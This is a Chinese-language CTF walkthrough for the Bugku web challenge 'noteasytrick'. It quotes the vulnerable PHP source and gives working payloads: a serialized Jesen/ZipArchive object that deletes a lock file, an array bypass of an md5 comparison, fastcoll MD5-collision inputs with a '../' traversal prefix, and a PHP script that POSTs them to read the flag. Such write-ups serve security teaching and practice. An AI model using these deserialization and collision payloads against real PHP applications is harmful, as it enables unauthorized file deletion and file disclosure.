4

【bugku-WEB】 noteasytrick wp

 2 years ago
source link: https://fanygit.github.io/2022/08/26/bugku-noteasytrick%20wp/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【bugku-WEB】 noteasytrick wp

2022-08-26CTF

Bugku

阅读次数: 4

0

天气太热了,学不进去,做做ctf题打发下时间~_~

原生类反序列化

构造不同文件内容相同文件hash值(fastcoll工具)

题给出的源码

 <?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {
public $filename;
public $content;
public $me;

function __wakeup(){
$this->me = new Ctf();
}
function __destruct() {
$this->me->open($this->filename,$this->content);
}
}

class Ctf {
function __toString() {
return "die";
}
function open($filename, $content){
if(!file_get_contents("./sandbox/lock.lock")){
echo file_get_contents(substr($_POST['b'],0,30));
die();
}else{
file_put_contents("./sandbox/".md5($filename.time()),$content);
die("or you can guess the final filename?");
}

}
}

if(!isset($_POST['a'])){
highlight_file(__FILE__);
die();
}else{
if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){
unserialize($_POST['c']);
}

}

解题思路

首先需要通过序列化原生类ZipArchive删除/sandbox/lock.lock文件,这里需要注意的是,不能够直接去序列化ZipArchive类,如果直接对该序列化,序列化中文件的路径值会为空,需要通过题目给出的Jesen类,通过控制$this->me变量赋值为实例化的ZipArchive$j1->filename要赋值为./sandbox/lock.lock$j1->content赋值为ZipArchive::OVERWRITE。然后再对Jesen类进行序列化,再将序列化的值进行提交,这里的条件if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a'])))先用数组进行绕过。这样就会把lock.lock文件删除掉。

经过上面的操作后,我们就可以绕过if(!file_get_contents("./sandbox/lock.lock"))这个条件,

但是读取文件file_get_contents(substr($_POST['b'],0,30))这里用到了$_POST['b']接收参数值,这样一来,我们就不能用数组来绕过($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))这个条件,因为我们需要拿到$_POST['b']值。

但是我们可以用fastcoll工具来生成两个相同hash,内容不一致的文件。

因为通过substr($_POST['b'],0,30)只读取了前30位字符串作为参数来执行,可以通过构造./../../../../../../../../flag30位作为文件的前缀,使用fastcoll进行hash碰撞。

最后只需要将两个文件的内容读取出来,然后再提交,就能读取到flag。

但是需要注意的一点就是,如果通过file_get_contents读取出来,对其进行url编码后,然后通过post提交上去,是不行的,经过在本地测试,对两个文件读取出来进行url编码在进行md5加密后得到的值是不一致的。所以在解题过程中我使用file_get_contents直接将文件内容读取出来,然后通过php来提交这个请求,就拿到了flag。

指定文件前缀通过fastcoll构造hash一致内容不一致的文件。

readflag.txt

./../../../../../../../../flag
fastcoll_v1.0.0.5.exe F:\Tools\hash碰撞\readflag.txt

通过原生ZipArchive类,删除/sandbox/lock.lock文件

$j1 = new Jesen();
$j1->me = new ZipArchive();
$j1->filename = "./sandbox/lock.lock";
$j1->content = ZipArchive::OVERWRITE;

var_dump(serialize($j1));
a[]=aaaa&b[]=bbbb&c=O:5:"Jesen":4:{s:8:"filename";s:19:"./sandbox/lock.lock";s:7:"content";i:8;s:2:"me";O:10:"ZipArchive":5:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}}

读取flag

<?php
$postdata = http_build_query(
array(
'a' => file_get_contents("readflag_msg1.txt"), // hash碰撞出来的文件
'b' => file_get_contents("readflag_msg2.txt"),
'c' => "O:5:\"Jesen\":3:{s:8:\"filename\";s:0:\"\";s:7:\"content\";s:0:\"\";s:2:\"me\";N;}"
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://114.67.175.224:12225/', false, $context);
echo $result;
?>

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK